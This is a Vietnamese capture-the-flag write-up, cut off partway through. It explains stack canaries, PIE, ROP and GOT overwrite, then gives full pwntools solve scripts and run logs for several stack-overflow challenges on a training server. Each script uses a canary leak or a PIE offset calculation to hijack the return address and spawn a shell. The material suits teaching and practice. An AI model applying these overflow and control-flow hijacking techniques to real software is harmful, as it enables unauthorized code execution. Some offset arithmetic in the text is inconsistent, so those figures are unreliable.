---
title: "Recruit CTF"
author: "lazyming"
date: 2025-10-05
difficulty: Easy
---
## Glossary
Ở đây mình sẽ giải thích đơn giản các định nghĩa để các bạn có thể hiểu bài luôn khi xem, Khuyến khích các bạn tự tìm hiểu sâu hơn
### Return Address
khi bạn gọi hàm thì địa chỉ của lệnh tiếp theo sẽ được push lên stack để chương trình biết sau khi chạy xong hàm thì quay về đâu chạy tiếp
### Saved RBP
Saved RBP là khung hàm cũ của hàm GỌI hàm hiện tạ, công dụng của nó là để hàm hiện tại biết cách quay lại khung hàm trước đó khi chạy xong. Nếu giá trị này bị hư thì khi hàm hiện tại kết thúc, hàm gọi sẽ không thể tiếp tục chạy bình thường do không thể tìm lại các biến cũ của nó.
Thông thường nó cần là vùng nhớ readable hoặc writeable, nếu không thì khi hàm hiện tại kết thúc, việc truy cập vào khung hàm trước đó có thể gây ra lỗi bộ nhớ (segmentation fault) hoặc hành vi không xác định khác.
### Canary
canary là một giá trị ngẫu nhiên được sinh ra, giống như “người canh giữ” nằm trước `Saved RBP` và `return address`. Nó có nhiệm vụ phòng trường hợp `stack overflow` xảy ra ghi đè lên return address. Khi đó, canary cũng sẽ bị ghi đè, và chương trình khi kiểm tra thấy giá trị này bị thay đổi so với ban đầu thì sẽ dừng luôn, không nhảy tiếp vào return address. Nếu canary không bị thay đổi thì chương trình sẽ chạy tiếp bình thường.
### PIE
PIE (Position Independent Executable) là cơ chế bảo vệ bộ nhớ cho chương trình. Khi bật PIE, base address của chương trình sẽ được load vào một địa chỉ ngẫu nhiên mỗi lần chạy. Toàn bộ địa chỉ của lệnh và hàm trong chương trình sẽ bị dịch đi một khoảng random — dịch ở đây nghĩa là không thay đổi khoảng cách tương đối giữa các địa chỉ, nhưng thay đổi địa chỉ thực tế của chúng.
Điều này khiến việc biết trước địa chỉ của một hàm hay lệnh trở nên không thể; ta chỉ có thể leak địa chỉ đó trong lúc chương trình đang chạy.
### .got.plt
Các bạn hình dung đơn giản đây như một cái bảng chứa địa chỉ các hàm libc được gọi như printf, puts v.v. Khi gọi hàm, chương trình sẽ nhảy vào đây để tra địa chỉ rồi nhảy vào entry tương ứng. Nếu .got.plt bị ghi đè, khi chương trình gọi hàm thì nó sẽ nhảy tới địa chỉ chúng ta đã ghi đè thay vì địa chỉ hàm mà lẽ ra nó phải gọi.
### ROP
ROP (Return Oriented Programming) — lập trình hướng return =)), đây là cách để khắc chế NX (No eXecute). Các bạn google thêm về cách exploit stack overflow bằng shellcode (viết shellcode lên stack để thực thi) nhé: người ta nghĩ ra NX để bảo vệ, và các “hắc cờ” cũng nghĩ ra cách khắc chế — đó là ROP.
Một ROP gadget là một đoạn mã ngắn kết thúc bằng ret, ví dụ: pop rdi; ret hoặc pop rdx; pop rsi; ret. Hiển nhiên, một hàm cũng có thể coi là một ROP gadget vì nó thường kết thúc bằng ret.
Bằng cách xếp địa chỉ của các gadget theo thứ tự, ta tạo được một ROP chain — khi CPU thực hiện chuỗi ret thì từng gadget sẽ chạy tuần tự, thực hiện các thao tác ta muốn (ví dụ chuẩn bị tham số rồi gọi system để bật shell).
Khi mình ghi đè return address bằng địa chỉ của ROP chain (ví dụ do stack overflow), lúc hàm return nó sẽ nhảy vào ROP chain và thực thi các gadget đó — từ đó thực hiện hành vi tùy ý mà không cần chèn mã mới (vì NX ngăn chèn/thi hành shellcode trên vùng dữ liệu).
---
# bofintro

**Tags:** `stack-overflow` `pwn`
---
## TL;DR
Một binary không có stack canary có thể bị stack overflow, cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell).
## Analysis
Chạy chương trình ta thấy nó in ra stack state của hàm `main`
```bash
Win function's address: 0x55ca5a4f8209
Current stack:
|Offset|Address | Value |
|0x00 |0x00007ffecbe7ec10|0x0000000000000000| <=== Your buffer
|0x08 |0x00007ffecbe7ec18|0x00007f1831341be0|
|0x10 |0x00007ffecbe7ec20|0x00007ffecbe7ecc0| <=== Stored RBP
|0x18 |0x00007ffecbe7ec28|0x00007f1831110575| <=== Return address
Now you know what to do:
```
- Your buffer address là nơi lưu dữ liệu bạn nhập
- Saved RBP — xem định nghĩa ở [Saved RBP](#Saved-RBP)
- Return Adress sau khi hàm hàm hiện tại (`main`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi
Vậy cái win function adress là gì các bạn dùng decompiler dịch cái file nhị phân ra thành source C thì trong source bạn sẽ thấy
```c
void win(void)
{
char *local_18;
undefined8 local_10;
local_18 = "/bin/sh";
local_10 = 0;
execve("/bin/sh",&local_18,(char **)0x0);
return;
}
```
đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này
```c
undefined8 main(void)
{
undefined1 local_18 [16];
printf("Win function\'s address: 0x%lx\n\n",win);
dumpstack(local_18);
printf("\nNow you know what to do: ");
read(0,local_18,0x100);
putchar(10);
dumpstack(local_18);
return 0;
}
```
hàm main bị lỗi Stack Overflow buffer chỉ có 16 byte nhưng lại dùng hàm read(0,local_18,0x100); đọc vào lên tới tận 0x100 byte cho phép chúng ta ghi đè lên những giá trị sau buffer (saved RBP, Return Adress)
## Exploit
Chúng ta ghi đè return address của hàm `main` thành địa chỉ của hàm `win` sau khi chạy xong hàm main nó sẽ nhảy vào hàm `win` để thực thi.
Khoảng cách từ buffer của chúng ta tới Return Address là 0x18
Vậy payload sẽ có dạng `24 * 'A' + new return adress` với new return adress là adress của hàm win gửi nó cho sever chúng ta sẽ truy cập vào được shell của sever và đọc được flag
Lưu ý: bài này mình phá hỏng luôn saved RBP vì không cần thiết, bình thường saved rbp phải là vùng nhớ readable hoặc writeable, bạn cẩn thận hơn thì dùng lại cái saved rbp cũ cũng được
Solve script
```python
from pwn import *
context.binary = exe = ELF("./chall")
context.terminal = ["kitty", "-e"]
remote_connection = "nc vm.daotao.antoanso.org 34523".split()
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
else:
return process(exe.path)
offset = 0x1c2
p = start()
p.recvuntil(b"Win function's address: ")
win_leak = p.recvline()
win_leak = win_leak[:-1]
win_leak = int(win_leak, 16)
print(f"Leaked address: {hex(win_leak)}")
payload = b'A' * 24
payload += p64(win_leak)
p.sendlineafter(b"Now you know what to do: ", payload)
p.interactive()
```
Kết quả
```bash
lazyming@fedora:~/ctf/pwn/recruit_ctf/botinfo/35f76f14-f6b2-471b-b42c-bfb7af378bd7(1)$ python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/recruit_ctf/botinfo/35f76f14-f6b2-471b-b42c-bfb7af378bd7(1)/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to vm.daotao.antoanso.org on port 34523: Done
Leaked address: 0x59d90b6f9209
[*] Switching to interactive mode
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffc1bd6c050|0x4141414141414141| <=== Your buffer
|0x08 |0x00007ffc1bd6c058|0x4141414141414141|
|0x10 |0x00007ffc1bd6c060|0x4141414141414141| <=== Stored RBP
|0x18 |0x00007ffc1bd6c068|0x000059d90b6f9209| <=== Return address
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{noi_tinh_yeu_bat_dau_4130218ceb6f154233bfd7c7fab262d7}
```
---
# canaryintro

**Tags:** `stack-overflow` `stack canary`
---
## TL;DR
Một binary có stack canary bị stack overflow cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell).
Ai đọc bài bofintro rồi thì bài này khác mỗi vụ có thêm canary protection
## Analysis
Chạy chương trình ta thấy nó in ra stack và cho ta địa chỉ hàm `win`
```bash
Win function's address: 0x5584f67a3229
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffd70b081d0|0x0000000000000000| <=== Your buffer
|0x08 |0x00007ffd70b081d8|0x00007f0e4f8e75c0|
|0x10 |0x00007ffd70b081e0|0x00007ffd70b08220|
|0x18 |0x00007ffd70b081e8|0x8d53f72d8b6eae00| <=== Stack canary
|0x20 |0x00007ffd70b081f0|0x00007ffd70b08290|
|0x28 |0x00007ffd70b081f8|0x00007f0e4f701575| <=== Return address
Now you know what to do:
```
- Your Buffer là nơi lưu dữ liệu bạn nhập
- Ở trên [Saved RBP](#Saved-RBP) có thêm [Stack Canary](#Canary)
- [Return Address](#Return-Address) là địa chỉ sau khi hàm hàm hiện tại (`main`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi
Vậy cái win function adress đề cho là gì các bạn dùng decompiler dịch cái file nhị phân ra thành source c thì trong source bạn sẽ thấy
```c
void win(void)
{
long in_FS_OFFSET;
char *local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = "/bin/sh";
local_20 = 0;
execve("/bin/sh",&local_28,(char **)0x0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
```
Đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này
```c
undefined8 main(void)
{
long in_FS_OFFSET;
undefined1 local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Win function\'s address: 0x%lx\n\n",win);
dumpstack(local_28);
printf("\nNow you know what to do: ");
__isoc99_scanf(&DAT_001020e3,local_28);
putchar(10);
dumpstack(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
```
hàm main bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020e3,local_28);` `&DAT_001020e3` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address))
Vấn đề là bây giờ chúng ta có thêm canary, nếu chúng ta ghi đè thẳng lên return address thì canary sẽ bị thay đổi và chương trình sẽ dừng lại không nhảy vào return address nữa
Vậy thì chúng ta vẫn làm như bofintro nhưng thêm canary vào payload để canary không bị thay đổi thì chương trình sẽ chạy tiếp bình thường
vậy payload sẽ có dạng `24 * 'A' + Canary + Readable Writeable Address + win function Address` sau khi thực thi hàm main nó sẽ nhảy vào win function để thực thi chúng ta sẽ có shell.
lưu ý: bài này Saved RBP mình dùng lại chính cái RBP cũ chứ không phá hỏng nó như bài trước cho an toàn
Solve script
```python
from pwn import *
context.binary = exe = ELF("./chall")
context.terminal = ["kitty", "-e"]
remote_connection = "nc vm.daotao.antoanso.org 33552".split()
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
else:
return process(exe.path)
offset = 0x1c2
p = start()
p.recvuntil(b"Win function's address: ")
winaddr = int(p.recvline().strip(), 16)
print(f"winaddr: {hex(winaddr)}")
line1 = p.recvuntil(b"|0x18 |")
line2 = p.recvuntil(b"|0x20 |")
line3 = p.recvuntil(b"|0x28 |")
line4 = p.recvuntil(b"Return")
canary_str = line2[21:21+16]
temp = line3[21:21+16]
leak_adress_str = line4[21:21+16]
canary = int(canary_str, 16)
leak_adress = int(leak_adress_str, 16)
temp = int(temp, 16)
print(f"leak_adress_str: {leak_adress_str}")
print(f"leak_adress: {hex(leak_adress)}")
print(f"canary_str: {canary_str}")
print(f"canary: {hex(canary)}")
payload = b'A' * 24
payload += p64(canary)
payload += p64(temp)
payload += p64(winaddr)
p.sendlineafter(b"Now you know what to do: ", payload)
p.interactive()
```
Kết quả
```bash
lazyming@fedora:~/ctf/pwn/recruit_ctf/canaryintro/9975677e-e8c9-475e-bfc1-f7f809e25f8c$ python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/recruit_ctf/canaryintro/9975677e-e8c9-475e-bfc1-f7f809e25f8c/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to vm.daotao.antoanso.org on port 34577: Done
winaddr: 0x5baa31ef1229
leak_adress_str: b'000076d08a7e61ca'
leak_adress: 0x76d08a7e61ca
canary_str: b'7ec5c99740de8e00'
canary: 0x7ec5c99740de8e00
[*] Switching to interactive mode
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffe7d2d2dd0|0x4141414141414141| <=== Your buffer
|0x08 |0x00007ffe7d2d2dd8|0x4141414141414141|
|0x10 |0x00007ffe7d2d2de0|0x4141414141414141|
|0x18 |0x00007ffe7d2d2de8|0x7ec5c99740de8e00| <=== Stack canary
|0x20 |0x00007ffe7d2d2df0|0x00007ffe7d2d2e90|
|0x28 |0x00007ffe7d2d2df8|0x00005baa31ef1229| <=== Return address
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{canary_guards_your_stack_f1994a7d1cb2e0aaf69241ba160693ab}
```
# pieintro

**Tags:** `stack-overflow` `stack canary` `PIE`
---
## TL;DR
Một binary có stack canary, có bật [PIE](#pie) bị stack overflow cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell cho phép đọc flag.txt).
Ai đọc bài Canary intro rồi thì bài này khác mỗi vụ giờ họ không cho chúng ta địa chỉ hàm win nữa chúng ta phải tự xử
## Analysis
Chạy chương trình ta thấy nó in ra stack của hàm `vuln` các bạn để ý tại sao không in ra trong hàm main như trong mấy bài khác luôn không :D mà lại phải để hàm main gọi vuln rồi trong vuln mới in ra stack vì tác giả muốn return address của hàm vuln là hàm main vì từ địa chỉ của hàm main tính được địa chỉ của hàm win vì chúng cùng nằm trong vùng nhớ binary
```bash
Win function's addre... You can calculate it yourself!
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffca7b788c0|0x0000000000000000| <=== Your buffer
|0x08 |0x00007ffca7b788c8|0x0000000000000000|
|0x10 |0x00007ffca7b788d0|0x0000000000000000|
|0x18 |0x00007ffca7b788d8|0x396426534b364400| <=== Stack canary
|0x20 |0x00007ffca7b788e0|0x00007ffca7b788f0| <=== Saved RBP
|0x28 |0x00007ffca7b788e8|0x0000559aaa68e3f3| <=== Return address (main code address)
Now you know what to do:
```
- Your Buffer là nơi lưu dữ liệu bạn nhập
- Ở trên [Saved RBP](#Saved-RBP) có [Stack Canary](#Canary)
- [Return Address](#Return-Address) là địa chỉ sau khi hàm hàm hiện tại (`vuld`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi
```c
void win(void)
{
long in_FS_OFFSET;
char *local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = "/bin/sh";
local_20 = 0;
execve("/bin/sh",&local_28,(char **)0x0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
```
Đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này nhưng chúng ta vẫn chưa có địa chỉ của nó vì nó không tặng cho chúng ta như lần trước và chúng ta cũng không dự đoán được bạn quay lại các bài trước chạy lại nhiều lần thì sẽ thấy cái win adress họ cho không lần nào giống lần nào
```c
void vuln(void)
{
long in_FS_OFFSET;
undefined1 local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Win function\'s addre... You can calculate it yourself!\n");
dumpstack(local_28);
printf("\nNow you know what to do: ");
__isoc99_scanf(&DAT_001020eb,local_28);
putchar(10);
dumpstack(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
```
hàm vuln bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020eb,local_28);` `&DAT_001020eb` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address))
Vấn đề là bây giờ chúng ta có canary, và không chó địa chỉ hàm win nữa nên chúng ta phải tính toán địa chỉ hàm win dựa trên địa chỉ hàm main mà chúng ta có được từ return address của hàm vuln là cái in ra khi chạy chương trình `|0x28 |0x00007ffca7b788e8|0x0000559aaa68e3f3| <=== Return address (main code address)`
## Exploit
vậy thì vẫn làm như canary intro nhưng phải tính địa chỉ hàm win dựa trên địa chỉ hàm main
đọc phần [PIE](#pie) ta sẽ biết khoảng cách địa chỉ trong binary là không đổi nên ta cần biết khoảng cách từ return adress đó tới hàm win
mình sẽ chỉ các bạn 2 cách tính
- Cách 1: dùng gdb
thêm lệnh gdb.attach(p) vào solve script trước khi gửi payload
gõ lệnh

ta sẽ thấy được địa chỉ hàm win
tiếp tục gõ lệnh `bt`

ta thấy sau khi hàm vuln kết thúc nó sẽ nhảy vào cái địa chỉ đó trong main bạn chỉ cần lấy địa chỉ đó trừ cho địa chỉ hàm win ở bước trước là tính được khoảng cách giữa chúng rồi

- Cách 2: dùng objdump -d chall
bạn sẽ thấy
```bash
00000000000013e1 <main>:
13e1: f3 0f 1e fa endbr64
13e5: 55 push %rbp
13e6: 48 89 e5 mov %rsp,%rbp
13e9: b8 00 00 00 00 mov $0x0,%eax
13ee: e8 5c ff ff ff call 134f <vuln>
13f3: b8 00 00 00 00 mov $0x0,%eax <== return adress sau khi hàm vuln chạy xong
13f8: 5d pop %rbp
13f9: c3 ret
```
và
```bash
0000000000001229 <win>: <== địa chỉ hàm win
1229: f3 0f 1e fa endbr64
122d: 55 push %rbp
122e: 48 89 e5 mov %rsp,%rbp
1231: 48 83 ec 20 sub $0x20,%rsp
```
dễ dàng tính được khoảng cách từ retunn address tới hàm win là `0x13f3 - 0x1229 = 0x1c2`
vậy payload sẽ có dạng `24 * 'A' + Canary + Readable Writeable Address + (old return address - 0x1c2)` sau khi thực thi hàm main nó sẽ nhảy vào win function để thực thi chúng ta sẽ có shell.
lưu ý: bài này [Saved RBP](#Saved-RBP) mình dùng lại chính cái RBP cũ
Solve script
```python
#!python3
from pwn import *
context.binary = exe = ELF("./chall")
context.terminal = ["kitty", "-e"]
# request VM, copy the command for Pwnable Challenges and paste here
remote_connection = "nc vm.daotao.antoanso.org 33489".split()
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
else:
return process(exe.path)
offset = 0x13f3 - 0x1229
p = start()
line1 = p.recvuntil(b"|0x18 |")
line2 = p.recvuntil(b"|0x20 |")
line3 = p.recvuntil(b"|0x28 |")
line4 = p.recvuntil(b"Return")
canary_str = line2[21:21+16]
temp = line3[21:21+16]
leak_adress_str = line4[21:21+16]
canary = int(canary_str, 16)
leak_adress = int(leak_adress_str, 16)
temp = int(temp, 16)
print(f"leak_adress_str: {leak_adress_str}")
print(f"leak_adress: {hex(leak_adress)}")
print(f"canary_str: {canary_str}")
print(f"canary: {hex(canary)}")
payload = b'A' * 24
payload += p64(canary)
payload += p64(temp)
payload += p64(leak_adress - offset) #
# gdb.attach(p)
p.sendlineafter(b"Now you know what to do: ", payload)
p.interactive()
```
Kết quả
```bash
lazyming@fedora:~/ctf/pwn/recruit_ctf/pieintro/0fb9793c-430c-490e-9382-55112dbf457a$ python solve.py REMOTE
[*] '/home/lazyming/ctf/pwn/recruit_ctf/pieintro/0fb9793c-430c-490e-9382-55112dbf457a/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to vm.daotao.antoanso.org on port 34583: Done
leak_adress_str: b'00005905437f53f3'
leak_adress: 0x5905437f53f3
canary_str: b'1d93d2ec0343a000'
canary: 0x1d93d2ec0343a000
[*] Switching to interactive mode
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffdce2cd250|0x4141414141414141| <=== Your buffer
|0x08 |0x00007ffdce2cd258|0x4141414141414141|
|0x10 |0x00007ffdce2cd260|0x4141414141414141|
|0x18 |0x00007ffdce2cd268|0x1d93d2ec0343a000|
|0x20 |0x00007ffdce2cd270|0x00007ffdce2cd280|
|0x28 |0x00007ffdce2cd278|0x00005905437f5229| <=== Return address
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf}
```
# bofintroll

**Tags:** `stack-overflow` `stack canary` `PIE`
---
## TL;DR
Bài này là nâng cấp của bài những bài trước đó, binary này cũng có hàm win nhưng hơi tricky một chút để mở shell có stack canary luôn
Mô tả bào rằng chúng ta không được để cái chương trình này troll chúng ta =)), Và khuyến khích chúng ta sử dụng IDA, và pwndbg
## Analysis
Dựa vào những gì in ra màn hình thì ta thấy như nó đang cố lừa chỉ linh tinh để lừa chúng ta nội dung của return adress thật ra là canary
```bash
Win function's address: 0x5653156a6229
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffec3a8d2c0|0x0000000000000000| <=== Your buffer
|0x08 |0x00007ffec3a8d2c8|0x00007f97adb325c0|
|0x10 |0x00007ffec3a8d2d0|0x00007ffec3a8d310| <=== Stored RBP
|0x18 |0x00007ffec3a8d2d8|0x22e98c3ab5fe5a00| <=== Return address
Now you know what to do:
```
Nhưng mà ở đây nó chỉ linh tinh rồi `0x22e98c3ab5fe5a00` chính là dạng dễ nhận biết nhìn vào biết ngay nó là [canary](#canary) vậy thì kế tiếp nó là [Saved RBP](#Saved-RBP) kế tiếp nữa mới là [Return address](#Return-Address)
Lúc mình làm bài này thì mình thấy vậy xong mình nghĩ chắc chỉ lừa như thế thôi thế là mình lấy địa chỉ hàm win đề cho exploit y như mấy bài kia kết quả nó in ra `You lose` =))
vậy thì mình nghĩ là hàm win có gì đó lạ lạ rồi dùng IDA decompile nó ra
```c
unsigned __int64 win()
{
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("You lose.");
return v1 - __readfsqword(0x28u);
}
```
hàm win này return vào không giúp chúng ta có shell nhưng nếu bạn xem dissassembler của nó thì thấy có cái khác khá hay
```
0000000000001229 <win>:
1229: f3 0f 1e fa endbr64
122d: 55 push %rbp
122e: 48 89 e5 mov %rsp,%rbp
1231: 48 83 ec 20 sub $0x20,%rsp
1235: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
123c: 00 00
123e: 48 89 45 f8 mov %rax,-0x8(%rbp)
1242: 31 c0 xor %eax,%eax
1244: b8 00 00 00 00 mov $0x0,%eax <== gán eax = 0
1249: 85 c0 test %eax,%eax <== kiểm tra eax có bằng 0
124b: 74 2d je 127a <win+0x51> <== nếu eax = 0 skip đoạn code phía dưới
124d: 48 8d 05 b8 0d 00 00 lea 0xdb8(%rip),%rax # 200c <eligible+0x4>
1254: 48 89 45 e0 mov %rax,-0x20(%rbp)
1258: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp)
125f: 00
1260: 48 8b 45 e0 mov -0x20(%rbp),%rax
1264: 48 8d 4d e0 lea -0x20(%rbp),%rcx
1268: ba 00 00 00 00 mov $0x0,%edx
126d: 48 89 ce mov %rcx,%rsi
1270: 48 89 c7 mov %rax,%rdi
1273: e8 a8 fe ff ff call 1120 <execve@plt>
1278: eb 0f jmp 1289 <win+0x60>
127a: 48 8d 05 93 0d 00 00 lea 0xd93(%rip),%rax # 2014 <eligible+0xc>
1281: 48 89 c7 mov %rax,%rdi
1284: e8 47 fe ff ff call 10d0 <puts@plt>
1289: 90 nop
128a: 48 8b 45 f8 mov -0x8(%rbp),%rax
128e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
1295: 00 00
1297: 74 05 je 129e <win+0x75>
1299: e8 42 fe ff ff call 10e0 <__stack_chk_fail@plt>
129e: c9 leave
129f: c3 ret
```
bạn sẽ thấy cái đoạn code kia khá lạ gán một thanh ghi bằng 0 kiểm tra xem nếu nó bằng 0 thì skip cái đoạn này.
```
Đoạn code gọi shell
124d: 48 8d 05 b8 0d 00 00 lea 0xdb8(%rip),%rax # 200c <eligible+0x4>
1254: 48 89 45 e0 mov %rax,-0x20(%rbp)
1258: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp)
125f: 00
1260: 48 8b 45 e0 mov -0x20(%rbp),%rax
1264: 48 8d 4d e0 lea -0x20(%rbp),%rcx
1268: ba 00 00 00 00 mov $0x0,%edx
126d: 48 89 ce mov %rcx,%rsi
1270: 48 89 c7 mov %rax,%rdi
1273: e8 a8 fe ff ff call 1120 <execve@plt>
1278: eb 0f jmp 1289 <win+0x60>
```
và đoạn bị skip chính là đoạn code gọi shell mà chúng ta cần, vì cái điều kiện đó quá hiển nhiên nên decompiler mới không hiển thị nó trong mã C source
=> chúng ta cần nhảy vào đoạn này chứ không phải là hàm win mà đề cho, offset từ hàm win tới nơi cần nhảy vào là `0x1129 - 0x124d = Địa chỉ hàm win - địa chỉ nơi cần nhảy vào trong win`
```c
undefined8 main(void)
{
long in_FS_OFFSET;
undefined1 local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Win function\'s address: 0x%lx\n\n",win);
dumpstack(local_28);
printf("\nNow you know what to do: ");
__isoc99_scanf(&DAT_001020f3,local_28);
putchar(10);
dumpstack(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
}
```
hàm main bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020f3,local_28);` `&DAT_001020f3` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address))
## Exploit
Vậy thì vẫn làm như canary intro thôi dùng Stack overflow để ghi đè ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address))
và lấy địa chỉ hàm win cộng thêm một khoảng chúng ta đã tính trước đó ghi vào return address chúng ta sẽ có sehll
Solve script
```python
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ["kitty", "-e"]
# nc vm.daotao.antoanso.org 33649
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("vm.daotao.antoanso.org", 33649)
return r
def main():
p = conn()
p.recvuntil(b"Win function's address: ")
winaddr = int(p.recvline().strip(), 16)
base_addr = winaddr - 0x1229
execve_gadget = base_addr + 0x124d
p.recvuntil(b"|0x00 |")
line0 = p.recvn(20)
stack_addr_str = line0[6:6+12]
stack_addr = int(stack_addr_str, 16)
print(f"stack_addr: {hex(stack_addr)}")
print(f"winaddr: {hex(winaddr)}")
line1 = p.recvuntil(b"|0x08 |")
line3 = p.recvuntil(b"|0x18 |")
line4 = p.recvuntil(b"Return")
temp = line3[21:21+16]
canary_str = line4[21:21+16]
canary = int(canary_str, 16)
temp = int(temp, 16)
print(f"temp: {hex(temp)}")
print(f"canary_str: {canary_str}")
print(f"canary: {hex(canary)}")
payload = b'\x00' * 16
payload += p64(temp)
payload += p64(canary)
payload += p64(stack_addr)
payload += p64(execve_gadget)
p.sendlineafter(b"Now you know what to do: ", payload)
p.interactive()
if __name__ == "__main__":
main()
```
Kết quả
```bash
[+] Opening connection to vm.daotao.antoanso.org on port 34672: Done
stack_addr: 0x7ffca312ccf0
winaddr: 0x5f9d8b9c3229
temp: 0x7fb7bd8c2af0
canary_str: b'37ca966eb1a9b300'
canary: 0x37ca966eb1a9b300
[*] Switching to interactive mode
Current stack:
|Offset|Address |Value |
|0x00 |0x00007ffca312ccf0|0x0000000000000000| <=== Your buffer
|0x08 |0x00007ffca312ccf8|0x0000000000000000|
|0x10 |0x00007ffca312cd00|0x00007fb7bd8c2af0| <=== Stored RBP
|0x18 |0x00007ffca312cd08|0x37ca966eb1a9b300| <=== Return address
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat flag.txt
BPCTF{saved_return_address_is_further_when_canary_is_added_e60d62a660567b950d23a98f168d9dfc}
```
# gotintro

**Tags:** `Abirary address write` `got overwrite`
---
## TL;DR
```bash
$ checksec chall
$ checksec chall
[*] '/home/lazyming/ctf/pwn/recruit_ctf/gotintro/0d9c7ac9-f89a-4a4e-9e98-22a9147cd5b9/chall'
Arch: amd64-64-little
RELRO: Partial RELRO <== cho phép ghi đè .got.plt
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) <== không random address
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
Bài này là một bài [.got.plt](#.got.plt) kinh điển, binary tắt pie cho phép chúng ta tính được địa chỉ [.got.plt](#.got.plt) của hàm exit và ghi đè nó
## Analysis
Hàm main cho phép chúng ta ghi tùy ý 8 byte lên một địa chỉ bất kỳ (Abitrary address write) nhận input là số dạng hex
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
_QWORD v3[2]; // [rsp+0h] [rbp-10h] BYREF
v3[1] = __readfsqword(0x28u);
puts("Getting bored of stack overflowing? I'll hand you the most powerfull write primitive.");
printf("Address to be written: ");
__isoc99_scanf("%lx", v3);
printf("Value: ");
